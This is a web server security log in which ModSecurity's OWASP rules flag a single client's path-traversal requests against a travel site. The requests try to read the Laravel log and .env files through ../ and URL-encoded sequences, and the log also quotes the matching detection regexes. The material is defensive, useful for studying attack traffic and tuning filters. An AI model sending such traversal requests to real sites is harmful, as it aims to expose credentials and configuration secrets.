/?file=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&ts=u17GwnAz1NLc2gR6585cRUHeRLcQhN6x6UhHkJ5T4t5eZEbXunlYssn9-UIguMdGu3McJCaqLewVb3cZXaoUdHSEzys5z05W5xF-aKDdVZu7nkVl7N0WzYkCDfEpvmvwgops6M0Djkm70sQHwvNsrtWa_5mIeB2A-3qzGCr8MX5woVFwkfDZrw_9kvWKtFr69761KnX0YC55tL2EpEiHxHYcwfmLohTPLA-VmjIyiinRLpfzT39rsPQb_A-DRbe8gQZ3rFaoGp6LOJloQkKSLo0d&ref=EATQRMRVI4S5FW5BITA4J2G6BOJ4WGM53TKVSTF4SLSVINBCIBECC65RZUCM4IAX4U4GIVLA2NLMK3QS4WCPPTMLHVPS2SZVEENQPQOZR62RHYIYMDFVT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.027675 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.027749 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../storage/logs/laravel.log&ts=u17GwnAz1NLc2gR6585cRUHeRLcQhN6x6UhHkJ5T4t5eZEbXunlYssn9-UIguMdGu3McJCaqLewVb3cZXaoUdHSEzys5z05W5xF-aKDdVZu7nkVl7N0WzYkCDfEpvmvwgops6M0Djkm70sQHwvNsrtWa_5mIeB2A-3qzGCr8MX5woVFwkfDZrw_9kvWKtFr69761KnX0YC55tL2EpEiHxHYcwfmLohTPLA-VmjIyiinRLpfzT39rsPQb_A-DRbe8gQZ3rFaoGp6LOJloQkKSLo0d&ref=EATQRMRVI4S5FW5BITA4J2G6BOJ4WGM53TKVSTF4SLSVINBCIBECC65RZUCM4IAX4U4GIVLA2NLMK3QS4WCPPTMLHVPS2SZVEENQPQOZR62RHYIYMDFVTIJT3AV6GM4TKJV7GIZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.027820 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../../storage/logs/laravel.log&ts=u17gwnaz1nlc2gr6585cruherlcqhn6x6uhhkj5t4t5ezebxunlyssn9-uigumdgu3mcjcaqlewvb3czxaoudhsezys5z05w5xf-akddvzu7nkvl7n0wzykcdfepvmvwgops6m0djkm70sqhwvnsrtwa_5mieb2a-3qzgcr8mx5wovfwkfdzrw_9kvwktfr69761knx0yc55tl2epeihxhycwfmlohtpla-vmjiyiinrlpfzt39rspqb_a-drbe8gqz3rfaogp6lojloqkkslo0d&ref=eatqrmrvi4s5fw5bita4j2g6boj4wgm53tkvstf4slsvinbcibecc65rzucm4iax4u4givla2nlmk3qs4wcpptmlhvps2szveenqpqozr62rhyiymdfvtijt3av6gm4tkjv7giz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.027865 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.027911 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.028736 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfAAAAAQ"]
[Fri Jul 17 08:55:04.028860 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.029173 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBfAAAAAQ"]
[Fri Jul 17 08:55:04.029298 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIQAAAAY"]
[Fri Jul 17 08:55:04.029327 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIQAAAAY"]
[Fri Jul 17 08:55:04.029722 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.029868 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.030266 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBIAAAABs"]
[Fri Jul 17 08:55:04.030422 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIQAAAAY"]
[Fri Jul 17 08:55:04.030521 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.030810 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBIQAAAAY"]
[Fri Jul 17 08:55:04.036668 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2F..%2F.env&sid=j4UVdUsVaY-LsuVesCuWisG94HhNvWNEBp-tDe_hb7EMecxrmIb-w8raytL_FZ9jjvXQPOGCLiz1UOfDz-5mt1Jfaq1KaZx_M0iVeexNYRmQC50kdHlbPfBl2prxTcWJkyZ0Qct9TuFPvrNTeNTC153XqFQxuzSXuROnBMSpRBmHCCC_6MgFJyhX31FfP0AYlunVkNEuRy8jE1F28e0r2PauaMSqP2ZRwEwRXE6xolMOdbNunsJ8A2WMt_RYHtG1kRhZ_gNtef3sh5CZSHwiaSd3&junk=4UY5HUY2YIPCOMNSYHYNZVBZDFPUFLJWQEJUIOGJG6DY43YMRM3MM45TGLKQWTFDVIU5KLOABENWAUHD43KB46B5NBBKSWPLDWOZ2BMILPIWET22H2FZFCXHK6RDC3PMNGNT7QQDPWT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.036715 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.036760 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../.env&sid=j4UVdUsVaY-LsuVesCuWisG94HhNvWNEBp-tDe_hb7EMecxrmIb-w8raytL_FZ9jjvXQPOGCLiz1UOfDz-5mt1Jfaq1KaZx_M0iVeexNYRmQC50kdHlbPfBl2prxTcWJkyZ0Qct9TuFPvrNTeNTC153XqFQxuzSXuROnBMSpRBmHCCC_6MgFJyhX31FfP0AYlunVkNEuRy8jE1F28e0r2PauaMSqP2ZRwEwRXE6xolMOdbNunsJ8A2WMt_RYHtG1kRhZ_gNtef3sh5CZSHwiaSd3&junk=4UY5HUY2YIPCOMNSYHYNZVBZDFPUFLJWQEJUIOGJG6DY43YMRM3MM45TGLKQWTFDVIU5KLOABENWAUHD43KB46B5NBBKSWPLDWOZ2BMILPIWET22H2FZFCXHK6RDC3PMNGNT7QQDPWTBJH6GUHKNFM2AP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.036810 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../.env&sid=j4uvdusvay-lsuvescuwisg94hhnvwnebp-tde_hb7emecxrmib-w8raytl_fz9jjvxqpogcliz1uofdz-5mt1jfaq1kazx_m0iveexnyrmqc50kdhlbpfbl2prxtcwjkyz0qct9tufpvrntentc153xqfqxuzsxuronbmsprbmhccc_6mgfjyhx31ffp0aylunvkneury8je1f28e0r2pauamsqp2zrwewrxe6xolmodbnunsj8a2wmt_ryhtg1krhz_gntef3sh5czshwiasd3&junk=4uy5huy2yipcomnsyhynzvbzdfpufljwqejuiogjg6dy43ymrm3mm45tglkqwtfdviu5kloabenwauhd43kb46b5nbbkswpldwoz2bmilpiwet22h2fzfcxhk6rdc3pmngnt7qqdpwtbjh6guhknfm2ap..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.036833 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.036859 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.038021 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.038175 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.038464 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBIgAAAAY"]
[Fri Jul 17 08:55:04.041842 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2F..%2F..%2F..%2F.env&token=9QH687uT99AtvaOyrSDY983LmQv4TWp2iJdpsvqNjRGh7wl4h7IQzeaZ-MVQD5mXUeeCgIu1CkHEBKacs89PK0cDnRUCNXQWzJvKDMlZIz_TJj4FygSKMMsuyws39m7RoBJfI7zWBLbW-LlWT9ptFjGaKlTIJd0Lvr-7Dt5LsycpG9FE68759mJTBuMRT1xijwWRUFi8PEs40EN9n3UIoxhYTyCcWGk88kD0nFBhYZn9Myrpjl0EbMQG01EUm0rN4zLgSim_LtS5VI-j2b4cNBMo&ts=IZWNOTNDEJIFGKYROTVRAVMTE26ANBSCIHL5UXMGMAATBRICYFI2MICX47RF5LPM2AJAC4OCIBOMFF5RE6HXGE6TLZO6P4VE3YWBSOV4UWGCQF7P2BT5TYV3SSFTC2WZG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
[Fri Jul 17 08:55:04.041890 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
[Fri Jul 17 08:55:04.041936 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../../../.env&token=9QH687uT99AtvaOyrSDY983LmQv4TWp2iJdpsvqNjRGh7wl4h7IQzeaZ-MVQD5mXUeeCgIu1CkHEBKacs89PK0cDnRUCNXQWzJvKDMlZIz_TJj4FygSKMMsuyws39m7RoBJfI7zWBLbW-LlWT9ptFjGaKlTIJd0Lvr-7Dt5LsycpG9FE68759mJTBuMRT1xijwWRUFi8PEs40EN9n3UIoxhYTyCcWGk88kD0nFBhYZn9Myrpjl0EbMQG01EUm0rN4zLgSim_LtS5VI-j2b4cNBMo&ts=IZWNOTNDEJIFGKYROTVRAVMTE26ANBSCIHL5UXMGMAATBRICYFI2MICX47RF5LPM2AJAC4OCIBOMFF5RE6HXGE6TLZO6P4VE3YWBSOV4UWGCQF7P2BT5TYV3SSFTC2WZG2XXF5YD3X6TF2B7PBV..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
